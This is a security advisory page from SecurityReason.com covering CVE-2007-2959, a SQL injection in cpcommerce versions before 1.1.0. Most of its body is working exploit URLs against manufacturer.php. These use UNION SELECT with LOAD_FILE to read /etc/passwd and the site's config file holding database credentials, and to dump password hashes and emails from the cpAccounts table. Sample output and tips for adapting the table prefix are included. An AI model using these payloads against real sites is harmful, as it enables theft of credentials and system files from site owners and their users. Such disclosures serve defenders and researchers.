SecurityReason.com - Our Reason is

Security

Register | Forget Password | Login
SecurityReason
WLB
Services
RSS
Corporate
Note

If you have found a vulnerability, please send to our SecurityAlert Database :
secalert()securityreason()com

Also if you have new ( 0-day ) exploit, please send to our ExploitAlert Archive :
exploit()securityreason()com

Home arrow SecurityAlert Database

Arrow  Topic :

cpcommerce < v1.1.0 [sql injection]


Arrow  SecurityAlert : 2747
Arrow  CVE : CVE-2007-2959
Arrow  SecurityRisk : Medium  Security Risk Medium  (About)
Arrow  Remote Exploit : Yes
Arrow  Local Exploit : No
Arrow  Exploit Available : Yes
Arrow  Credit : laurent gaffie
Arrow  Published : 03.06.2007

Arrow  Affected Software : cpcommerce < v1.1.0



Arrow  Advisory Content :  

vendor site:http://cpcommerce.cpradio.org/
product:cpcommerce < v1.1.0
bug: sql injection
risk : high
note:works regardless of php.ini settings .
http://127.0.0.1/cpcommerce/manufacturer.php?id_manufacturer=-9/**/union
/**/select/**/pass,LOAD_FILE(0x2F6574632F706173737764),0/**/from/**/cpAc
counts/*
//result:
Information about '8725ade7b722d1ad43b7b949162eab4d'
root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
...........
http://127.0.0.1/cpcommerce/manufacturer.php?id_manufacturer=-9/**/union
/**/select/**/pass,email,0/**/from/**/cpAccounts/*
//result:
Information about '8725ade7b722d1ad43b7b949162eab4d'
none (at) none (dot) com [email concealed]

read database credentials plain text:
http://127.0.0.1/cpcommerce/manufacturer.php?id_manufacturer=-9/**/union
/**/select/**/LOAD_FILE(0x2F7573722F6C6F63616C2F617061636865322F6874646F
63732F6370636F6D6D657263652F5F636F6E6669672E706870),pass,0/**/from/**/cp
Accounts/*
//result:Products in '..............
// Database Information
$config['host'] = "localhost"; // Database Host $config['user'] =
"my_user"; // Database Username $config['pass'] = "my_password"; //
Database Password $config['database'] = "hi"; // Database Name
$config['prefix'] = "cp";
...........................
'8725ade7b722d1ad43b7b949162eab4d'

ps1:
0x2F7573722F6C6F63616C2F617061636865322F6874646F63732F6370636F6D6D657263
652F5F636F6E6669672E706870
--> /usr/local/apache2/htdocs/cpcommerce/_config.php

ps2: /**/cpAccounts/* --> cp = prefix.
Accounts --> table_name .
(cp is the default one) so you can try with your table prefix .

regards laurent gaffie





Arrow  Feedback :

If you have additional information or notice any errors regarding this security advisory, please use contact form or email us at info()securityreason()com.
Alert

libc:fts_*() Multiple Denial of Service

Security Risk Medium- 2009-10-02

The fts functions are provided for traversing UNIX file hierarchies...

Apache RSS Apache Alert

» Apache 1.3.41 mod_proxy
   Integer overflow (code
   execution)

» Apache Tomcat 6.0.20 and
   5.5.28 unexpected file
   deletion in work
   directory

» Apache Tomcat 6.0.20 and
   5.5.28 insecure partial
   deploy after failed
   undeploy

» Apache Tomcat 6.0.20 and
   5.5.28 unexpected file
   deletion and/or
   alteration

PHP RSS PHP Alert

» PHP 5.2.12/5.3.1
   session.save_path
   safe_mode and
   open_basedir bypass

» PHP 5.2.12/5.3.1 Multiple
   Vulnerabilities

» PHP 5.2.11 libgd multiple
   vulnerabilities

» PHP 5.2.11 tempnam()
   safe_mode bypass

Copyright © SecurityReason.com. All Rights Reserved.